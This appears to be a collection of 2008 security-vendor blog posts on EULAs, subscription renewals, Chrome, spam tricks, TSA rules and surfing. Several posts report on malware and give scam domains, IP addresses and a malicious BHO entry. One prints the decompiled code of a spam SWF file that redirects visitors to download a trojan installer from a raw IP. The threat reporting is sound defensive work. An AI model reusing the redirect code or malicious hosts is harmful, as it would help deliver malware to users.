Have You Been a Victim of Unethical Software Company Practices?

(A guest blog by Sunbelt’s Wxpnews editor Deb Shinder)

Computer software is a unique type of product because it’s not really a physical product at all; instead, it’s classified as “intellectual property” – an intangible item that you can’t hold in your hand. You don’t spend your money for the code itself – that remains the property of the developer who created it or (more frequently) the company that paid the programmer(s) who developed it. You simply pay for a license to use the software, subject to conditions specified in the End User License Agreement (EULA).

This has caused no end of consternation among computer users. We aren’t used to buying things this way. A book is a form of intellectual property, too – but we don’t generally “license” the right to read the words; rather, we purchase a physical copy of the book and then we own it and can do pretty much whatever we want with it: sell it to someone else, give it to a friend, leave it lying on a park bench for strangers to find and claim (legally, we are prohibited from doing some things, such as making photocopies of it and selling them to others, but that’s expensive and a hassle so it almost never becomes an issue).

The problem is that the intangibility of software (and some other products such as digital music and movies) makes it very easy and cheap to copy and distribute in bulk. Licensing is one of the only ways the creators can retain control over the fruit of their labors. And licensing in itself is not a bad thing. Most reputable software vendors try to make their EULAs emulate the situation you have when you buy a book; i.e., the terms usually stipulate that you can give the program away, or transfer it to another computer – as long as you remove it from the one it’s on. But you can’t make copies and use it on multiple computers (except in some cases where the EULA allows for you to install a program on two or more computers within your household; this so-called “family licensing plan” is becoming more and more popular).

In theory, this prohibition on making copies is no different from the copyright laws that prohibit photocopying a book. In practice, it feels more restrictive because of the ease and convenience with which you could, technically, make such copies. Folks argue that “I can loan my book to someone else if I want.” And indeed, there’s nothing in most software licenses that keep you from loaning your computer to someone else so they can use the software. What you can’t do is “loan” them just the software without the computer – as you can’t loan someone the words without the physical book you bought (by photocopying those words).

It gets tricky, though, when some companies start to sneak more and more restrictive terms into the EULA. And “sneak” is applicable here because, when you buy boxed software in the store, you’re actually unable to read the agreement until after you’ve paid for the product, taken it home and opened the box (not that most people read it, even then). For an interesting discussion of some issues pertaining to EULAs, click here.

We’ve talked about EULA terms here before, so we won’t go into that in detail. Instead, I want to discuss some other questionable business practices that we sometimes run into when dealing with software companies. Many of these are made possible (or at least made easier) due to the way much software is sold today – paid for and delivered over the Internet rather than bought in a box at a store. And some of these practices are by no means unique to software companies; they’re the same unethical practices engaged in by businesses of all kinds that participate in “remote” transactions, whether over the ‘Net, over the phone or through the mail.

Whenever you give a company your credit card number, there is a risk that they will use it in ways you didn’t intend. One problem encountered with the new subscription based software services (and one reason many are wary of them) is the difficulty of terminating a subscription. You sign up for a year and pay by credit card. At the end of the year, the company automatically renews your subscription and charges you for another year, whether you wanted it or not. Here’s an example of such a complaint against one software company.

(In fact, this is common practice for many businesses. I ranted have ranted long and often about security alarm monitoring services that contain a contract clause stating that unless you cancel the contract within a short window of time prior to the end of your three year contract, it will automatically renew (and obligate you to pay) for another three years. Some states (New York is one) have passed legislation to ban these automatic renewal clauses and I am currently trying to convince my own state representatives to do the same).

Companies that embrace the automatic renewal practice argue that they do it for customers’ convenience. They say if they didn’t, you might forget to renew and then you would be without the service. This might be okay if, when you initially sign up, you select an option to automatically renew (but in my opinion, locking you in to another three years of service as the alarm companies do is never okay). We’ve set up a poll to ask readers what they think about this practice as it pertains to subscription software. Please let us know your opinion on this by voting in the SunPoll.

Then there are marketing practices that may not be blatantly unethical, but are extremely annoying to customers. For instance, with many companies that sell business-oriented software, finding out what their software costs is like pulling teeth. I guess it’s a case of “if you have to ask, you can’t afford it,” but it really makes it difficult to compare different products. If I know a particular software package costs $15,000, I’m not going to waste my time evaluating a trial version of it for my small business. If it costs $1500, that’s a whole different story. But some vendors seem to hold their prices as closely guarded secrets.

Some won’t even let you download a trial version without making a sales pitch to you over the phone. Tom recently clicked a “Try it now” link for an enterprise level virtual appliance software package, which took him to a form to fill out. He expected to receive a link to download the trial; instead he got email telling him that they would have to contact him by phone in order to get the evaluation version. Needless to say, he didn’t evaluate that package (and it won’t get his recommendation or even consideration). What if you have total hearing loss or can’t speak due to a larynectomy? Does the company discriminate against disabled persons by not allowing them to evaluate the software? An extreme question, perhaps, but is it ethical for a company to advertise a free trial and then hijack you into listening to a high pressure sales pitch?

When you think about it, software makers have a tremendous responsibility and hold a position of trust with their users. Most customers are not very technically savvy and must trust the software company that its software not only does what it claims to do, but doesn’t do other things that the customer doesn’t want. A program that you install on your computer can be coded so as to create a “back door” that will allow the programmer to get into your system and take control of it. This is often the basis of Trojans and other malware, but the capability can be written into almost any software. Every time we install a program, we’re trusting that software vendor to be ethical.

What unethical practices have you encountered in buying software? Share your experiences and opinions.

Deb Shinder

Chrome rocks. I don’t care what others say

There are conflicting opinions on Chrome.

Whatever your opinions, this is release major.  It’s a game changer.   

Based on my initial impressions, I really like this browser.  It’s just the kind of next-generation thinking that’s needed in the browser space.  

I don’t care about all the all plug-ins that aren’t available, because I don’t use them.  And Chrome gives me enough toys that it more than makes up for the loss of a few plug-ins.

Walt Mossberg gave it a decent review, but sited a few things he didn’t like:

My verdict: Chrome is a smart, innovative browser that, in many common scenarios, will make using the Web faster, easier and less frustrating. But this first version — which is just a beta, or test, release — is rough around the edges and lacks some common browser features Google plans to add later. These omissions include a way to manage bookmarks, a command for emailing links and pages directly from the browser, and even a progress bar to show how much of a Web page has loaded.

Whatever. I don’t use bookmarks (believe it or not).  A command for emailing links and pages directly from the browser?  Again, this is a non-issue for me. How about simply CTRL-D to select the URI, then CTRL–C to copy it, then ALT-TAB to get to your email program?  Seems pretty easy and fast to me.  And a progress bar?  Again, who cares.  Chrome is so dammed fast I don’t really need one anyway. 

As far as speed, Mossberg’s results, which showed that it wasn’t faster than Firefox, are directly contradicted by Adrian Kingsley-Hughes’ more scientific method of testing, which indicate that Chrome is blisteringly fast. 

I haven’t run any benchmarks, but this thing really does smoke.  Yes, it’s fast, but it’s also the user experience.  You may not get a page immediately but you feel that it’s faster based on the browser presentation.

Matt Cutts at Google also has a nice roundup of common Google Chrome objections.

And yes, there is a new security issue (carpet bombing) but I’m certain Google will patch this very quickly. 

Alex Eckelberry

Spam as visual poetry

A new campaign currently running. 

While it perhaps looks like visual poetry (inspired by Augusto de Campos?), it’s a cute trick to bypass filters.  

Spamart128381231288

If you select the text, you see something else:

Spamart128381231288a

So, “Special Offers for Viagra and Cialis” is actually:

Solve
Protector;
Exhortation
Conversation
Inconstant,
Attendants,
Loquitur;

Oceans
Favour
Favour
Exhortation
Reins
Solve

and so on.

Alex Eckelberry

Scam sites update

Zlob Trojan Distributing site:

IP: 77.91.231.201
Vidsware. net

IP: 77.91.231.183
Mediaoptimizr. com

Following are the component sites used by the Trojan:

Scam Internet Security Page:

IP: 85.255.116.214
Doublestartpage. com

404Errorpage Scam:

IP: 85.255.118.242
Errorofbrowser. com

Security Guide Scam Page:

IP: 85.255.118.34
Scnewlinks. com

Ad-Server-Gate Pages:

IP: 85.255.118.37
Tivbm. com

IP: 85.255.118.37
Iodls.com

Scam Security center site:

IP: 85.255.118.37
whataniceview. com

Scam Security Toolbar site:

IP: 85.255.118.212
Aperfectbar. com

Another component Site used in the Internet Explorer tools menu to redirect to fake/scare scanner pages

IP: 216.255.179.243
Usefulietools. com

and to wind up the scammers use a new site to push AntiSpyCheck rogue security product.

IP: 85.255.121.179
Antispychecker. com

As we always say please stay clear of these sites.

Bharath M N

Yup:

The TSA is tightening its photo ID rules at airport security. Previously, people with expired IDs or who claimed to have lost their IDs were subjected to secondary screening. Then the Transportation Security Administration realized that meant someone on the government’s no-fly list — the list that is supposed to keep our planes safe from terrorists — could just fly with no ID. 

Now, people without ID must also answer personal questions from their credit history to ascertain their identity. The TSA will keep records of who those ID-less people are, too, in case they’re trying to probe the system.

This may seem like an improvement, except that the photo ID requirement is a joke. Anyone on the no-fly list can easily fly whenever he wants. Even worse, the whole concept of matching passenger names against a list of bad guys has negligible security value.

Link here.

Alex Eckelberry

Sad surf stories

Gustav_A2008244_1645_1km copyMy son and his friends love to surf.

The only problem: There is no surf on the west coast of Florida.

Except during a hurricane.

So last weekend, these hardy, indefatigable boys were absolutely determined to surf the tattered remains of Fay. As an old-time surfer, I went with them, more out of concern for them than any great interest in getting pummeled by storm surf.

It was fun, but my reward for three hours in the water was the worst sunburn I’ve ever had. Yes, I know the rule about the danger of being burned when it’s overcast, but you’re really not thinking of sunburn when there’s a frigging hurricane. I spent most of the week groaning and moaning pathetically.

So there goes that grand adventure story.

Sunday, Hurricane Gustav was barreling up the Gulf. So, off we went to surf those waves. Great conditions, with magnificent tubes, and that wonderful backspray of atomized salt water you only get in a strong offshore wind.

And now, my reward? Massive jellyfish stings. What the heck are jellyfish doing in our parts? Apparently they were flung over here from the 35–foot waves deep in the middle of the Gulf, where Gustav was churning away. LocalMotionSurferGoesHorizontal copy

Jellyfish.

I think it’s time to sit it out from now on.

At least, until the next hurricane.

Alex Eckelberry
(And on a more serious note, one can only surf the outer fringes of a big storm with even a vague notion of relative safety, and even then, real caution is required. We also always surf near a lifeguard just for added safety. Finally, surfing in a hurricane is pure suicide and should never, ever be done.)

Using Microsoft’s Log Parser

If you’re interested in forensics or log file analysis, Dave Kleiman has posted some useful information on using Microsoft’s Log Parser in forensics. As Dave says:

What is Log Parser? Microsoft’s Log Parser is perhaps the most underutilized and unknown tool for Microsoft OS’s. With this tool, retrieving vital information becomes a treat instead of a task. The tool is freely available from Microsoft.

You can download Log Parser here. Dave has a wealth of materials here on his website, and a specific presentation on using Log Parser here (rar file).

While Dave’s focus is on forensics, Log Parser is useful for all kinds of things, as it provides universal query access to log files, csv files, etc.

Alex Eckelberry

The audacity of Atrivo

From Brian Krebs today:

The portions of Atrivo most heavily used by RBN were Hostfresh — which provides routing for Atrivo through Hong Kong and China — and UkrTeleGroup (also known as Inhoster) out of Ukraine. These two networks remain core components of Atrivo’s operation, and recent data suggests the company’s reputation for supporting online criminals hasn’t diminished since the disappearance of the RBN last year. As of last December, Atrivo boasted the largest concentration of malicious activity of any hosting company, according to a report released by security intelligence firm iDefense.

“While Intercage has legitimate clients and professes intolerance for abuse, it continues to turn a blind eye to massive amounts of cyber crime,” iDefense analysts wrote. “Intercage Inc. previously operated as Atrivo Inc.; it was already infamous for abuse then and has not improved its reputation since changing names.”

Emil Kacperski, Atrivo’s founder, said he has been trying to clean up the company’s image.

“I work very hard to make sure that everything is kept at bay,” Kacperski said in an e-mail to Security Fix. “Unfortunately as you can understand being a dedicated server provider there isn’t a way for us to control the content on the servers. We can only respond to abuse reports and then proceed to shut down a server or take other action.”

Yeah. Right.

Alex Eckelberry

A lot of swf files…

Follow-up from my blog post yesterday on SWF files being used in spam: One researcher has shared with me a little over 800 SWF files on ImageShack, all pushing malware.  I did a quick spot check and many of these are still live. I have been told that ImageShack has been notified.   I hope they get this stuff down fast.

Imageshacksw3er12388

Swfimage123881238a

I did get a reader who was a bit confused about this, so just to make it clear: These SWF files include a simple redirect that pops-up a dialog to install a piece of malware from a different location.  You actually have to click “Run” to execute the malware.

Alex Eckelberry

New rogue security product: Total Secure 2009

Total Secure 2009 is a new rogue security product from IEDefender family

Totalsecure2009

The Trojan from the site Getneededsoftware. com installs a malicious BHO which is responsible for advertising the new rogue product

O2 – BHO: RupTool – {F32B24F1-25FA-4A91-9F97-5272B3CE8FCA} – C:WINDOWSsystem32xdaszt.dll

Total Secure 2009 Home page

IP: 91.203.92.98
Totalsecure2009. com
Totalsecure

Typical fake/Scare scan page

IP:77.244.220.141
checksystem-online. com
Totalsecure scaner

Detection by existing antivirus engines on this one is really poor

Additional sites assosiated with this scam

Secure-order-box. com
Gettotalsec2008. com
Getdefender2009. com

Bharath M N

Folks, this is the new wave: SWF file redirects continue

In an earlier blog post, I mentioned that spammers are now using Shockwave Flash (SWF) files to avoid detection (similar in nature to the trick of using Google redirects, etc. in the past).

This continues. Here’s a current example:

Flashfile1238812312312388

This is a typical spam you see these days, pushing an install of trojan that, if installed, typically downloads a rogue malicious antispyware program.

Clicking on the link takes us to a SWF file hosted on ImageShack:

Flashfile1238812312312388a

As you can see, it’s just junk text displaying. It’s entire purpose is to push the download of that install.exe file (the trojan).

If we take a wee peek inside that SWF file, we see what’s going on:

movie ‘mal.swf’ compressed // flash 6, total frames: 3, frame rate: 50 fps, 978×580 px

// unknown tag 777 length 3

exportAssets
1 as ‘arial’
end // of exportAssets

exportAssets
2 as ‘line1’
end // of exportAssets

exportAssets
3 as ‘line2’
end // of exportAssets

exportAssets
4 as ‘line3’
end // of exportAssets

defineMovieClip 5 // total frames: 1

end // of defineMovieClip 5

exportAssets
5 as ‘TextBox’
end // of exportAssets

frame 1

constants ‘http://89 187 49 18/install exe’, ‘_self’
push ‘http://89 187 49 18/install exe’, ‘_self’
getURL2
end // of frame 1

frame 2
stop
end // of frame 2
end

So the malware authors have a nice place to redirect from — a file hosted on Imageshack.

Alex Eckelberry

XP Antivirus 2008 now with sploits, Google Adwords affected

I’ve blogged before about the problem of Google Adwords pushing Antivirus XP Antivirus 2008. The situation is still ongoing.

However, it’s taken a turn for the worse, as these XP Antivirus pages are pushing exploits to install malware on the users system.

This will also affect the many syndicators of Google Adwords.

Google-results-bestav2009

Download-com-google-add

Bestav2009-with-sploit

Page-withscode

URLs involved in this particular event:

bestantivirus2009 com

iframe with exploits: huytegygle com/index.php <–script

There are a variety of exploits being used, including setslice and an AOL IM exploit. Unusually, an exploit framework is not being used. Fully patched systems will not be affected by these exploits.

The exploit attempts to install the following malicious file: huytegygle com/bin/ file.exe.

(Obviously, don’t visit these URLs unless you know what you’re doing, or you could be an unhappy camper.)

Alex Eckelberry

Recent news at Sunbelt

I’m duty-bound to report some recent news here at Sunbelt:

OEM deal:

Dakota Software Announces Technology Licensing Agreement with Sunbelt Software for Comprehensive Email Security Solution:
Innovative VIPRE Anti-malware Technology Is Core of New Email Protection Suite.

And a great new hire:

Sunbelt Software Appoints Director of International Sales: John-Erich Mantius To Drive WorldWide Sales Strategy

Alex Eckelberry

11 worst ideas in security. And finally, the truth comes out.

(Thanks to Larry Seltzer for this one)

What a wonderful list. It starts with this wonderful gem of truth and goes on down from there:

11. Security Industry and Market Analysts (I am become analyst, the destroyer of markets)

Those bastions of knowledge, defenders of the objective faith, and creators of 2-page, in depth, market analysis reports. They don’t actually analyze security they analyze the security market, they say cool things like “By the end of 2007, 75% of enterprises will be infected with undetected, financially motivated, targeted malware that evaded their traditional perimeter and host defenses.” and come up with amusing names and acronyms, (did you know that NBA – Network Behavior Analysis – was at one time called NADS – Network Anomaly Detection System – you can imagine the fun Gartner could of had with an overview of the NADS market). I spent years as an analyst myself and I loved my time, but I will always regret that analysts never actually test, demo, or even interact with the technology they so confidently and assertively write about.

That last sentence: “I will always regret that analysts never actually test, demo, or even interact with the technology they so confidently and assertively write about.”

I suspect there are a lot of enterprise customers out there who don’t know that analysts, for the most part, never play with the products they recommend. They view vendor Powerpoints and talk to customers, vendors, and the like. Who wins? Probably the vendor with the best Powerpoint, the best relationship with the analyst, and the most willingness to pay for analyst research.

Whatever. More here.

Alex Eckelberry